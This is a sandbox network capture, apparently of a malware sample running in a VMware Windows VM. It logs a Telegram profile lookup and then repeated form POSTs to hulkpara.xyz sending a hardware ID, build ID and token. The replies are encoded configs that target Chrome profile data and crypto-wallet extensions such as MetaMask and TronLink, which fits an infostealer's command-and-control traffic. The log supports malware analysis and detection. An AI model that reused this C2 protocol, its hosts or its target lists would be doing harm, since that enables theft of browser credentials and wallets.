2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 63 00 00 0a 58 20 29 55 55 a5 5a 28 58 00 00 0a 02 7b db 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b dc 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b dd 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b de 00 00 0a 6f 8b 00 00 0a 58 2a 13 30 07 00 52 02 00 00 0c 00 00 11 14 72 58 0e 00 70 1f 0e 8d 16 00 00 01 25 16 02 7b d1 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b d2 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b d3 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b d4 00 00 0a 0d 12 03 25 Data Ascii: cX )UUZ(X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX*0RrXp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49893	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 48 33 64 57 70 74 61 4c 6c 45 4b 59 57 34 63 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 35 36 34 66 38 61 61 30 33 63 39 65 34 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: H3dWptaLlEKYW4cV.1Context: 86564f8aa03c9e49
2024-12-19 15:10:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-19 15:10:29 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 48 33 64 57 70 74 61 4c 6c 45 4b 59 57 34 63 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 35 36 34 66 38 61 61 30 33 63 39 65 34 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 45 6d 76 44 79 6c 75 56 74 48 71 4d 42 47 62 77 30 65 73 52 76 56 55 35 36 49 30 4c 53 32 78 30 77 38 33 5a 45 77 4a 4d 4a 63 7a 63 31 59 4d 66 47 44 49 7a 31 66 76 64 71 47 33 2f 53 65 37 68 58 4b 67 31 45 32 6b 41 52 44 75 50 79 6b 72 4d 48 76 63 58 49 61 42 43 56 70 52 45 50 74 79 31 67 36 54 67 34 75 54 43 30 69 75 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: H3dWptaLlEKYW4cV.2Context: 86564f8aa03c9e49<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcEmvDyluVtHqMBGbw0esRvVU56I0LS2x0w83ZEwJMJczc1YMfGDIz1fvdqG3/Se7hXKg1E2kARDuPykrMHvcXIaBCVpREPty1g6Tg4uTC0iuA
2024-12-19 15:10:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 48 33 64 57 70 74 61 4c 6c 45 4b 59 57 34 63 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 35 36 34 66 38 61 61 30 33 63 39 65 34 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: H3dWptaLlEKYW4cV.3Context: 86564f8aa03c9e49<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-19 15:10:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-19 15:10:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 52 69 74 64 75 37 66 52 30 69 38 42 6c 4d 72 78 71 37 2b 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qRitdu7fR0i8BlMrxq7+vg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49903	149.154.167.99	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:32 UTC	85	OUT	GET /k04ael HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:33 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 15:10:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12302 Connection: close Set-Cookie: stel_ssid=d52fb32379d4b978a4_7372045726632847412; expires=Fri, 20 Dec 2024 15:10:33 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-19 15:10:33 UTC	12302	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6b 30 34 61 65 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @k04ael</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49911	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:35 UTC	232	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49918	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:37 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----C2VKNO8Q1DJM7YUS2VS2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:37 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 32 56 4b 4e 4f 38 51 31 44 4a 4d 37 59 55 53 32 56 53 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 42 37 32 32 45 42 41 42 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 32 56 4b 4e 4f 38 51 31 44 4a 4d 37 59 55 53 32 56 53 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 32 56 4b 4e 4f 38 51 31 44 4a 4d 37 59 55 53 32 56 53 32 2d 2d 0d 0a Data Ascii: ------C2VKNO8Q1DJM7YUS2VS2Content-Disposition: form-data; name="hwid"B3B722EBABC8465854224-a33c7340-61ca------C2VKNO8Q1DJM7YUS2VS2Content-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------C2VKNO8Q1DJM7YUS2VS2--
2024-12-19 15:10:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:38 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|48a9e16c08f97c7a20f9c66bb8ffb4d4\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49925	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:40 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----379R1D2DTRQIEU37YU3O User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:40 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 Data Ascii: ------379R1D2DTRQIEU37YU3OContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------379R1D2DTRQIEU37YU3OContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------379R1D2DTRQIEU37YU3OCont
2024-12-19 15:10:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:41 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49934	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:42 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----4E3O8YCT00ZUAIMOH4WT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:42 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 59 43 54 30 30 5a 55 41 49 4d 4f 48 34 57 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 59 43 54 30 30 5a 55 41 49 4d 4f 48 34 57 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 34 45 33 4f 38 59 43 54 30 30 5a 55 41 49 4d 4f 48 34 57 54 0d 0a 43 6f 6e 74 Data Ascii: ------4E3O8YCT00ZUAIMOH4WTContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------4E3O8YCT00ZUAIMOH4WTContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------4E3O8YCT00ZUAIMOH4WTCont
2024-12-19 15:10:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:43 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49946	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:46 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDJ5FC2NGVAAAIMY5XLF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:46 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 43 32 4e 47 56 41 41 41 49 4d 59 35 58 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 43 32 4e 47 56 41 41 41 49 4d 59 35 58 4c 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 4a 35 46 43 32 4e 47 56 41 41 41 49 4d 59 35 58 4c 46 0d 0a 43 6f 6e 74 Data Ascii: ------HDJ5FC2NGVAAAIMY5XLFContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------HDJ5FC2NGVAAAIMY5XLFContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------HDJ5FC2NGVAAAIMY5XLFCont
2024-12-19 15:10:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:47 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49959	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:49 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----379R1D2DTRQIEU37YU3O User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 6929 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:49 UTC	6929	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 33 37 39 52 31 44 32 44 54 52 51 49 45 55 33 37 59 55 33 4f 0d 0a 43 6f 6e 74 Data Ascii: ------379R1D2DTRQIEU37YU3OContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------379R1D2DTRQIEU37YU3OContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------379R1D2DTRQIEU37YU3OCont
2024-12-19 15:10:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49966	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:51 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----J5XLFCJM7GV3EUKXLFU3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:10:51 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 35 58 4c 46 43 4a 4d 37 47 56 33 45 55 4b 58 4c 46 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 35 58 4c 46 43 4a 4d 37 47 56 33 45 55 4b 58 4c 46 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 35 58 4c 46 43 4a 4d 37 47 56 33 45 55 4b 58 4c 46 55 33 0d 0a 43 6f 6e 74 Data Ascii: ------J5XLFCJM7GV3EUKXLFU3Content-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------J5XLFCJM7GV3EUKXLFU3Content-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------J5XLFCJM7GV3EUKXLFU3Cont
2024-12-19 15:10:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:10:52 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
